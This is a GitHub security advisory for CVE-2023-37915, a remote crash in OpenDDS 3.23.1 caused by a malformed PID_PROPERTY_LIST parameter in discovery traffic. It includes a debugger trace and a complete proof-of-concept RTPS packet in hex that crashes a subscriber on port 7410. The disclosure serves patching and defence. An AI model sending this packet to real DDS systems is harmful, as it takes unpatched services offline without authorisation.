Skip to content

Malformed PID_PROPERTY_LIST parameter in DATA submessage remotely crashes OpenDDS

High
jrw972 published GHSA-v5pp-7prc-5xq9 Jul 21, 2023

Package

OpenDDS

Affected versions

3.23.1

Patched versions

3.25

Description

Summary

OpenDDS crashes while parsing a malformed PID_PROPERTY_LIST in a DATA submessage during participant discovery. Attackers can remotely crash OpenDDS processes by sending a DATA submessage containing the malformed parameter to the known multicast port.

Details

Consider the following DATA submessage:

0000   15 05 00 00 00 00 10 00 00 01 00 c7 00 01 00 c2   ................
0010   00 00 00 00 01 00 00 00 00 03 00 00 15 00 04 00   ................
0020   8d 02 00 00 16 00 04 00 01 0f 00 00 50 00 10 00   ............P...
0030   01 0f 80 00 00 00 cd d0 00 73 68 65 72 00 00 00   .........sher...
0040   59 00 00 00 01 00 00 00 11 00 00 00 50 41 52 54   Y...........PART
0050   49 43 49 50 41 00 00 00 0a 00 00 0f 31 00 18 00   ICIPA.......1...
0060   01 00 00 00 f3 1c 00 00 00 00 00 00 00 00 00 00   ................
0070   00 00 00 00 0a 00 00 0f 02 00 3a 3a 3a 3a 3a 3a   ..........::::::
0080   3a 00 00 00 58 00 04 00 3f 0c 00 00 62 00 10 00   :...X...?...b...
0090   0a 00 00 00 70 75 62 6c 69 73 68 65 72 00 00 00   ....publisher...
00a0   59 00 28 00 01 00 00 00 11 00 00 00 50 41 52 54   Y.(.........PART
00b0   49 43 7f 50 41 4e 54 5f 54 59 50 45 00 00 00 00   IC.PANT_TYPE....
00c0   00 00 07 00 53 49 4d 50 4c 45 00 00 01 00 00 00   ....SIMPLE......

It has a malformed PID_PROPERTY_LIST parameter starting at byte 0x40:

59 00 // id: PID_PROPERTY_LIST
00 00 // len: 0 <-- supposed to be a lot larger than zero
01 00 // enc: CDR_LE
00 00 // opt: none
11 00 00 00 // data len: 17
50 41 52 54 ... // data: PART ...

GDB:

Thread 4 "subscriber" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffeedfd700 (LWP 3375697)]
0x00007ffff74d7fd0 in TAO::details::generic_sequence<DDS::Property_t, TAO::details::unbounded_value_allocation_traits<DDS::Property_t, true>, TAO::details::value_traits<DDS::Property_t, true> >::generic_sequence (this=0x7fffeedfa920, rhs=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:146
146         if (rhs.maximum_ == 0 || rhs.buffer_ == 0)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
*RAX  0x8
*RBX  0x7fffeedfa6e0 —▸ 0x7ffff7fc99b8 —▸ 0x7ffff7ffe450 —▸ 0x611000000180 —▸ 0x7ffff7ffe190 ◂— ...
*RCX  0x7fffeedfa928 ◂— 0x0
*RDX  0x1021c60 (__afl_area_initial) ◂— 0x41 /* 'A' */
*RDI  0x40e03
*RSI  0x40ecb
*R8   0x40e00
*R9   0x45401
*R10  0x45400
*R11  0x61d83c6e
*R12  0x7fffffff855e ◂— 0x10000
*R13  0x7fffffff855f ◂— 0x100
*R14  0x61d000001401 ◂— 0x70cc6e96b9cc6e96
*R15  0x7fffeedfcec0 ◂— 0x0
*RBP  0x7fffeedfa8f0 —▸ 0x7fffeedfaa10 —▸ 0x7fffeedfaa40 —▸ 0x7fffeedfaa70 —▸ 0x7fffeedfaaa0 ◂— ...
*RSP  0x7fffeedfa680 ◂— 0x41b58ab3
*RIP  0x7ffff74d7fd0 ◂— cmp dword ptr [rax], 0
────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
 ► 0x7ffff74d7fd0    cmp    dword ptr [rax], 0
   0x7ffff74d7fd3    jne    0x7ffff74d800e                <0x7ffff74d800e>
    ↓
   0x7ffff74d800e    mov    rax, qword ptr [rbx + 0x1d8]
   0x7ffff74d8015    add    rax, 8
   0x7ffff74d8019    mov    qword ptr [rbx + 0x130], rax
   0x7ffff74d8020    shr    rax, 3
   0x7ffff74d8024    cmp    byte ptr [rax + 0x7fff8000], 0
   0x7ffff74d802b    je     0x7ffff74d803d                <0x7ffff74d803d>
    ↓
   0x7ffff74d803d    mov    rax, qword ptr [rbx + 0x130]
   0x7ffff74d8044    cmp    qword ptr [rax], 0
   0x7ffff74d8048    jne    0x7ffff74d81fc                <0x7ffff74d81fc>
──────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────
In file: /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h
   141     : maximum_(0)
   142     , length_(0)
   143     , buffer_(0)
   144     , release_(false)
   145   {
 ► 146     if (rhs.maximum_ == 0 || rhs.buffer_ == 0)
   147     {
   148       maximum_ = rhs.maximum_;
   149       length_ = rhs.length_;
   150       return;
   151     }
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffeedfa680 ◂— 0x41b58ab3
01:0008│     0x7fffeedfa688 —▸ 0x7ffff7a818f7 ◂— '1 32 24 7 tmp:152'
02:0010│     0x7fffeedfa690 —▸ 0x7ffff74d7cf0 ◂— push rbp
03:0018│     0x7fffeedfa698 —▸ 0x7ffff384d609 (start_thread+217) ◂— mov qword ptr fs:[0x630], rax
04:0020│     0x7fffeedfa6a0 —▸ 0x7ffff404d74f (ACE_Thread_Adapter::invoke_i()+1519) ◂— mov qword ptr [rbx + 0xb8], rax
05:0028│     0x7fffeedfa6a8 —▸ 0x7ffff404cfa0 (ACE_Thread_Adapter::invoke()+1056) ◂— mov rcx, rax
06:0030│     0x7fffeedfa6b0 —▸ 0x7ffff3dbfded (ace_thread_adapter+157) ◂— mov qword ptr [rbp - 0x18], rax
07:0038│     0x7fffeedfa6b8 —▸ 0x7ffff384d609 (start_thread+217) ◂— mov qword ptr fs:[0x630], rax
...

pwndbg> bt
#0  0x00007ffff74d7fd0 in TAO::details::generic_sequence<DDS::Property_t, TAO::details::unbounded_value_allocation_traits<DDS::Property_t, true>, TAO::details::value_traits<DDS::Property_t, true> >::generic_sequence (this=0x7fffeedfa920, rhs=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:146
#1  0x00007ffff7771308 in TAO::details::generic_sequence<DDS::Property_t, TAO::details::unbounded_value_allocation_traits<DDS::Property_t, true>, TAO::details::value_traits<DDS::Property_t, true> >::operator= (this=0x7fffeedfad98, rhs=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:167
#2  0x00007ffff77711c1 in TAO::unbounded_value_sequence<DDS::Property_t, int>::operator= (this=0x7fffeedfad98) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/TAO/tao/Unbounded_Value_Sequence_T.h:24
#3  0x00007ffff77710e9 in DDS::PropertySeq::operator= (this=0x7fffeedfad90) at ../../../dds/DdsDcpsCoreC.h:509
#4  0x00007ffff7770361 in DDS::PropertyQosPolicy::operator= (this=0x7fffeedfad90) at ../../../dds/DdsDcpsCoreC.h:639
#5  0x00007ffff7a3c2e7 in OpenDDS::RTPS::ParameterListConverter::from_param_list (param_list=..., proxy=...) at ParameterListConverter.cpp:649
#6  0x00007ffff7a3cfd2 in OpenDDS::RTPS::ParameterListConverter::from_param_list (param_list=..., participant_data=...) at ParameterListConverter.cpp:728
#7  0x00007ffff78433f5 in OpenDDS::RTPS::Spdp::data_received (this=0x616000000080, data=..., plist=..., from=...) at Spdp.cpp:1063
#8  0x00007ffff786e81b in OpenDDS::RTPS::Spdp::SpdpTransport::handle_input (this=0x61900000c880, h=6) at Spdp.cpp:3126
#9  0x00007ffff6136fad in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::notify_handle (this=0x61d000001480, handle=6, mask=1, ready_mask=..., event_handler=0x61900000cb80, ptmf=&virtual table offset 48) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:828
#10 0x00007ffff61367b1 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::dispatch_io_set (this=0x61d000001480, number_of_active_handles=1, number_of_handlers_dispatched=@0x7fffeedfc230: 1, mask=1, dispatch_mask=..., ready_mask=..., callback=&virtual table offset 48) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1212
#11 0x00007ffff6136028 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::dispatch_io_handlers (this=0x61d000001480, dispatch_set=..., number_of_active_handles=@0x7fffeedfc220: 1, number_of_handlers_dispatched=@0x7fffeedfc230: 1) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1270
#12 0x00007ffff6134fa8 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::dispatch (this=0x61d000001480, active_handle_count=1, dispatch_set=...) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1374
#13 0x00007ffff614e5f6 in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::handle_events_i (this=0x61d000001480, max_wait_time=0x0) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1465
#14 0x00007ffff6127a0f in ACE_Select_Reactor_T<ACE_Reactor_Token_T<ACE_Token> >::handle_events (this=0x61d000001480, max_wait_time=0x0) at /home/seulbae/ddssecurity/targets/opendds-3.23.1/ACE_wrappers/ace/Select_Reactor_T.cpp:1441
#15 0x00007ffff3fef07d in ACE_Reactor::run_reactor_event_loop (this=0x603000004900, eh=0x0) at Reactor.cpp:220
#16 0x00007ffff6120880 in OpenDDS::DCPS::ReactorTask::svc (this=0x613000000580) at DCPS/ReactorTask.cpp:172
#17 0x00007ffff404b34f in ACE_Task_Base::svc_run (args=0x613000000650) at Task.cpp:267
#18 0x00007ffff404d74f in ACE_Thread_Adapter::invoke_i (this=0x60b0000007d0) at Thread_Adapter.cpp:163
#19 0x00007ffff404cfa0 in ACE_Thread_Adapter::invoke (this=0x60b0000007d0) at Thread_Adapter.cpp:98
#20 0x00007ffff3dbfded in ace_thread_adapter (args=0x60b0000007d0) at Base_Thread_Adapter.cpp:126
#21 0x00007ffff384d609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#22 0x00007ffff3757133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

If we backtrace a bit, when we reach here in dds/DCPS/RTPS/ParameterListConverter.cpp, param.property is 0, later causing the assignment operator to fail while trying to access rhs.something:

In file: /home/seulbae/ddssecurity/targets/opendds-3.23.1/dds/DCPS/RTPS/ParameterListConverter.cpp
   644       case PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT:
   645         proxy.manualLivelinessCount.value =
   646             param.count().value;
   647         break;
   648       case PID_PROPERTY_LIST:
 ► 649         proxy.property = param.property();
   650         break;

pwndbg> print param.u_.property_
$21 = (DDS::PropertyQosPolicy *) 0x0

Thank you.

PoC

[Terminal 1] Execute opendds/DevGuideExamples/DCPS/Messenger/subscriber
[Terminal 2] Send the following RTPS packet to 127.0.0.1:7410:

0000   52 54 50 53 02 02 ff ff 01 0f 45 d2 b3 f5 58 b9
0010   01 00 00 00 15 05 00 00 00 00 10 00 00 01 00 c7
0020   00 01 00 c2 00 00 00 00 01 00 00 00 00 03 00 00
0030   15 00 04 00 8d 02 00 00 16 00 04 00 01 0f 00 00
0040   50 00 10 00 01 0f 80 00 00 00 cd d0 00 73 68 65
0050   72 00 00 00 59 00 00 00 01 00 00 00 11 00 00 00
0060   50 41 52 54 49 43 49 50 41 00 00 00 0a 00 00 0f
0070   31 00 18 00 01 00 00 00 f3 1c 00 00 00 00 00 00
0080   00 00 00 00 00 00 00 00 0a 00 00 0f 02 00 3a 3a
0090   3a 3a 3a 3a 3a 00 00 00 58 00 04 00 3f 0c 00 00
00a0   62 00 10 00 0a 00 00 00 70 75 62 6c 69 73 68 65
00b0   72 00 00 00 59 00 28 00 01 00 00 00 11 00 00 00
00c0   50 41 52 54 49 43 7f 50 41 4e 54 5f 54 59 50 45
00d0   00 00 00 00 00 00 07 00 53 49 4d 50 4c 45 00 00
00e0   01 00 00 00

Observe the crash (segmentation fault).

Impact

What kind of vulnerability is it? Who is impacted?

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-37915

Weaknesses

Credits